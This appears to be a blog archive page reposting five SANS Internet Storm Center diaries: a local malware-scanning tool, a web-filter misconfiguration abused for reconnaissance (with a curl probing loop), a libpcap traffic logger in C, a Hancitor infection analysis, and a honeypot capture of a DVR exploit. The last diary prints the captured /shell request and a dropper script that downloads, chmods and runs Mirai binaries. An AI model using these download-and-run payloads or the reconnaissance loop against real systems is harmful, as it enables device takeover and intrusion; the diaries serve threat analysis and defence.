Archive for SANS

Local Malware Analysis with Malice, (Sat, Nov 23rd)

This project (Malice) provides the ability to have your own locally managed multi-engine malware scanning system. The framework allows the owner to analyze files for known malware. It can be used both as a command tool to analyze samples and review the results via a Kibana web interface. The Command-Line Interface (CLI) is used to scan a file or directory or can be setup to watch and scan new files when copied into a write only directory.

It is modular and is supported by “plugins”. Each plugin (malware scanning engine) can be installed in separate Dockers. Beside AV engines, there are other “plugins” for querying Virustotal (register with a key), hash searches using the NSRL database and Team Cymru.

The web/API UI hasn’t been added yet but you can setup a write only directory with “malice watch [dir]” option and copy the files to be scanned into it, the results of the scan can be reviewed using the Kibana UI. The documentation is here and the list of available plugins is here. Current support for OSX, Linux and Docker. This is the output viewed from the Kibana interface:

Listing the plugins: sudo malice plugin list –all –detail
Location of plugins: $HOME../.malice/plugins/plugins.toml


Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Abusing Web Filters Misconfiguration for Reconnaissance, (Fri, Nov 22nd)

Yesterday, an interesting incident was detected while working at a customer SOC. They use a “next-generation” firewall that implements a web filter based on categories. This is common in many organizations today: Users’ web traffic is allowed/denied based on an URL categorization database (like “adult content”, “hacking”, “gambling”, …). How was it detected? 

We received notifications about suspicious traffic based on bad websites detection (read: “not allowed” in the firewall policy). The alert could be read like:

The IP x.x.x.x  tried to access the URL xxxxxxxxx (matching category: xxxxxxxxx)

Why was it more suspicious than usual? It was generated by an “external” IP address (not belonging from any subnet – routed or non-routable). This was strange and it deserved some deeper investigations! No routing issue, no spoofing, it looked like the traffic was really coming from the wild Internet and triggered the web filter. After a deeper check with the team in charge of the firewall, they discovered the mistake: The web filter was also applied on incoming interfaces and the default denied page was returned to the visitor! The offending IP address was (ab)using the web filter feature to perform some reconnaissance: To detect which web sites are allowed/denied by the organization. How? Just visit the website to be tested by connecting to the public address of the target! 

To achieve this, just adapt your ‘/etc/hosts’ (UNIX) or ‘%SYSTEM%driversetchosts’ (Windows) and add a static entry:


Where ‘x.x.x.x.’ is an IP address belonging to the customer.

Not very practical if you must test a lot of sites. Thanks to curl[1], we can automate this in a nice way. Let’s save our malicious sites to be tested in a file, one hostname per line:

$ echo <sites.txt

Now, use the power of curl! It has a nice feature to resolve sites to a specific address (via the ‘–resolve’ parameter):

$ cat sites.txt | while read URL
  curl -s --resolve $URL:x.x.x.x http://$URL | grep -i “blocked” >/dev/null || echo “$URL is NOT blocked”

This command will visit potential malicious URLs by connecting to the customer’s IP address. If the website is not allowed in the policy, the default access denied page will be displayed and we search for an interesting keyword like ‘blocked’. Keep this in mind in your future security tests, always try to access a suspicious URL combined with an IP address of your target.

Since this incident, the firewall policy has been fixed!


Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Gathering information to determine unusual network traffic, (Thu, Nov 21st)

When working with threat intelligence, it’s vital to collect indicators of compromise to be able to determine possible attack patterns. What could be catalogued as unusual network traffic? This is all traffic that is not being seen normally in the network, meaning that after building a frequence table all IP addresses shown less than 1% are suspicious and should be investigated.

What do we need to build a frequence table? We could use a sniffer and then process the network capture to speed things.

Another alternative is to use libpcap to gather information about the incoming protocols and the timestamp that packets were seen. For this diary, we will show a C program using libpcap that will take timestamp and the following information from protocols:

Protocol Fields (CSV file) Log file
TCP year,month,day,hour,minute,second,source IP, source port tcplog.csv
UDP year,month,day,hour,minute,second,source IP, source port udplog.csv
ICMP year,month,day,hour,minute,second,source IP, ICMP Type number icmplog.csv

How to we build the program?

  • We need to define all protocol headers: ethernet, IP, TCP, UDP and ICMP

struct ethernetheader {

        unsigned char ether_dhost[ETHER_ADDR_LEN];    /* destination host address */

        unsigned char ether_shost[ETHER_ADDR_LEN];    /* source host address */

        unsigned short ether_type;                     /* IP? ARP? RARP? etc */


Check the ethernet frame. Same fields.

struct ipheader {

        unsigned char  ip_vhl;                 /* version <> 2 */

        unsigned char  ip_tos;                 /* type of service */

        unsigned short ip_len;                 /* total length */

        unsigned short ip_id;                  /* identification */

        unsigned short ip_off;                 /* fragment offset field */

        #define IP_RF 0x8000            /* reserved fragment flag */

        #define IP_DF 0x4000            /* dont fragment flag */

        #define IP_MF 0x2000            /* more fragments flag */

        #define IP_OFFMASK 0x1fff       /* mask for fragmenting bits */

        unsigned char  ip_ttl;                 /* time to live */

        unsigned char  ip_p;                   /* protocol */

        unsigned short ip_sum;                 /* checksum */

        struct  in_addr ip_src,ip_dst;  /* source and dest address */


Check the IP header. Same fields too.

/* TCP header */

typedef unsigned int tcp_seq;

struct tcpheader {

        unsigned short th_sport;               /* source port */

        unsigned short th_dport;               /* destination port */

        tcp_seq th_seq;                 /* sequence number */

        tcp_seq th_ack;                 /* acknowledgement number */

        unsigned char  th_offx2;               /* data offset, rsvd */

#define TH_OFF(th)      (((th)->th_offx2 & 0xf0) >> 4)

        unsigned char  th_flags;

        #define TH_FIN  0x01

        #define TH_SYN  0x02

        #define TH_RST  0x04

        #define TH_PUSH 0x08

        #define TH_ACK  0x10

        #define TH_URG  0x20

        #define TH_ECE  0x40

        #define TH_CWR  0x80


        unsigned short th_win;                 /* window */

        unsigned short th_sum;                 /* checksum */

        unsigned short th_urp;                 /* urgent pointer */


Same goes for the TCP header.

struct udpheader {

unsigned short int udp_srcport;

unsigned short int udp_destport;

        unsigned short int udp_len;

        unsigned short int udp_chksum;


Same goes for UDP header.

struct icmpheader {

u_int8_t type; /* message type */

u_int8_t code; /* type sub-code */

u_int16_t checksum;

union {

struct {

      u_int16_t id;

      u_int16_t sequence;

        } echo; /* echo datagram */

        u_int32_t gateway; /* gateway address */

struct {

      u_int16_t __unused;

      u_int16_t mtu;

        } frag; /* path mtu discovery */

        } un;


Same goes for ICMP header.

  • We find the capture device:

dev = pcap_lookupdev(errbuf);

if (dev == NULL) {

fprintf(stderr, “Couldn’t find capture device: %sn”,errbuf);



  • We get the netmask for the capture device:

if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {

fprintf(stderr, “Couldn’t get netmask for device %s: %sn”, dev, errbuf);

net = 0;

mask = 0;


  • We open the capture device:

handle = pcap_open_live(dev, SNAP_LEN, 1, 1000, errbuf);

if (handle == NULL) {

fprintf(stderr, “Couldn’t open device %s: %sn”, dev, errbuf);



  • We make sure we are capturing on an ethernet device:

if (pcap_datalink(handle) != DLT_EN10MB) {

fprintf(stderr, “%s is not an Ethernetn”, dev);



  • We implement the capture filter by compiling and installing it:

char filter_exp[] = “ip”;

if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {

fprintf(stderr, “Couldn’t parse filter %s: %sn”,

filter_exp, pcap_geterr(handle));



if (pcap_setfilter(handle, &fp) == -1) {

fprintf(stderr, “Couldn’t install filter %s: %sn”, filter_exp, pcap_geterr(handle));



  • We define the pcap_loop() function to invoke packet_process() to process packets:

pcap_loop(handle, 0, packet_process, NULL);

  • We define a switch-case code inside the packet_process() function to gather the information from packets and save it to the statistics log:

ethernet = (struct ethernetheader*)(packet);

ip = (struct ipheader*)(packet + SIZE_ETHERNET);

size_ip = IP_HL(ip)*4;

if (size_ip >= 20) {

switch(ip->ip_p) {



tcp = (struct tcpheader*)(packet + SIZE_ETHERNET + size_ip);

size_tcp = TH_OFF(tcp)*4;

if (size_ip >= 20){








udp = (struct udpheader*)(packet + SIZE_ETHERNET + size_ip);







icmp = (struct icmpheader*)(packet + SIZE_ETHERNET + size_ip);






printf(“Protocol: unknownn”);




After executing the program, you will get the three log files:

Want to download the whole source code? Go to

Manuel Humberto Santander Peláez
SANS Internet Storm Center – Handler
Twitter: @manuelsantander
e-mail: msantand at isc dot sans dot org

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Hancitor infection with Pony, Evil Pony, Ursnif, and Cobalt Strike, (Wed, Nov 20th)


Hancitor (also known as Chanitor or Tordal) is malware spread through malicious spam (malspam).  Hancitor infections most often include Pony and Evil Pony as follow-up malware.  Hancitor also pushed Zeus Panda Banker as additional follow-up malware until November 2018, when it switched from Zeus Panda Banker to Ursnif.  Follow-up malware usually remained Pony, Evil Pony, and/or Ursnif until July 2019, when we started seeing Cobalt Strike as additional follow-up malware.

Current malspam campaigns pushing Hancitor have been using the same DocuSign-themed email template since early October 2019.  However, traffic patterns have evolved since then, so today’s diary reviews indicators of a recent Hancitor infection on 2019-11-19.

Shown above:  Flow chart for recent Hancitor infections since early October 2019.

The malspam

According to this Twitter thread started by @wwp96, malspam pushing Hancitor on Tuesday 2019-11-19 used [email protected] as the spoofed sending address, and subject lines all had the word DocuSign in them.  I was not able to obtain a copy of the 2019-11-19 malspam, but below is an image of email headers from similar Hancitor malspam on Monday 2019-11-28.

Shown above:  An example of headers from malspam pushing Hancitor on Monday 2019-10-28.

Some links seen in emails from this wave of Hancitor malspam are shown in the image below from a Pastebin post created by @James_inthe_box.

Shown above: Some links from malspam pushing Hancitor on Tuesday 2019-11-19.

Shown above:  Link from an email redirecting to another URL.

Infection traffic

The link redirected to in the above image returned a zip archive as shown below.

Shown above:  Zip archive delivered from redirect after clicking link in Hancitor malspam.

After I extracted the VBS file from the downloaded zip archive, I used it to infect a vulnerable Windows host in my lab environment.

Shown above:  Traffic from an infection in my lab environment filtered in Wireshark.

The initial infection in my lab environment did not have Cobalt Strike; however, when I ran the Hancitor DLL in an Any.Run sandbox, it generated post-infection traffic associated with Cobalt Strike.

Shown above:  Hancitor infection traffic with Ursnif and Cobalt Strike as the follow-up malware.

Post-infection forensics

The Hancitor DLL was stored with a .txt file extension in my infected user’s AppDataLocalTemp directory.  I also saw indictors of the initial Ursnif EXE in the AppDataLocalTemp directory.  In my lab, Ursnif updated the Windows registry to stay persistent.  I did not find any indicators of Hancitor remaining persistent.  After a reboot, my Hancitor infection stopped (even though Ursnif continued).

Shown above:  Artifacts from a Hancitor infection with Ursnif in my lab environment.

Shown above:  Ursnif persistent on an infected Windows host.

Final words

Hancitor malspam is most often caught by an organization’s spam filters, so I don’t consider this a high-risk threat.  As always, if your organization follows best security practices, you’re not likely to get infected.  Up-to-date versions of Windows 10 with the latest security measures should be enough to stop this threat.  If you’re still running Windows 7, well-known techniques like Software Restriction Policies (SRP) or AppLocker can prevent this and other malspam-based activity.

So why do we continue to see malspam pushing Hancitor and other relatively easy-to-detect malware?  As long as it’s profitable for the criminals behind it, we’ll continue to see this type of malspam.

Pcaps and malware from the infection covered in today’s diary is available here.

Brad Duncan
brad [at]

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Cheap Chinese JAWS of DVR Exploitability on Port 60001, (Tue, Nov 19th)

Looking at some local IP addresses in our database during class this week, I came across a host scanning exclusively for %%port:60001%%. Interestingly, we did see a marked increase in scans for this port in recent weeks. 

To get to the bottom of this, I set up a quick TCP listener on port 60,001 on a honeypot. Within seconds, an attack reached the honeypot:

GET /shell?cd+/tmp;rm+-rf+b;wget+;chmod+777+b;sh+b;rm+-rf+b HTTP/1.1
Connection: keep-alive
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Downloading the “advertised” file leads to (sorry the bad language):




for Binary in $BINARIES; do
    wget http://$WEBSERVER/$Binary -O bigbotPein
    chmod 777 bigbotPein
    ./bigbotPein arm

rm -f bigbotPein b

I downloaded the “arm7” file, and also found an “x86” file on the same host. The sha256 hashes:

8948e12836c219506a6541316cb2d6f9dbe0c27f984b7b7117b15db85a425f9d  x86
8292a8b60ba245370856fcf807c854854578fd0c82a04a616a24fb76e04a1eb4  arm7

Virustotal identifies these binaries as Mirai variants. Mirai type botnets have been adding more and more web application vulnerabilities to their repertoire.

The exploit appears to match an “MVPower DVR Jaws” remote code execution vulnerability [1]. While the original report of this vulnerability indicated that the webserver was running on port 80, it looks like the bad guys found a good size population of these DVRs listening on port 60001. The pentest report from Pentest Partners regarding this vulnerability shows almost comical incompetence of whoever coded the firmware for these cameras. Moving the webserver to a “hidden” port like 60,001 appears to be considered a likely security measure by a company producing this kind of trash.

A quick Shodan query suggests that out of the about 100k exposed “JAWS” servers. 76k of them are listening on port 60001 (only 10k on port 80). These web servers have an unusually large concentration in Iran.



Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute

(c) SANS Internet Storm Center. Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 4 of 312 «...23456...»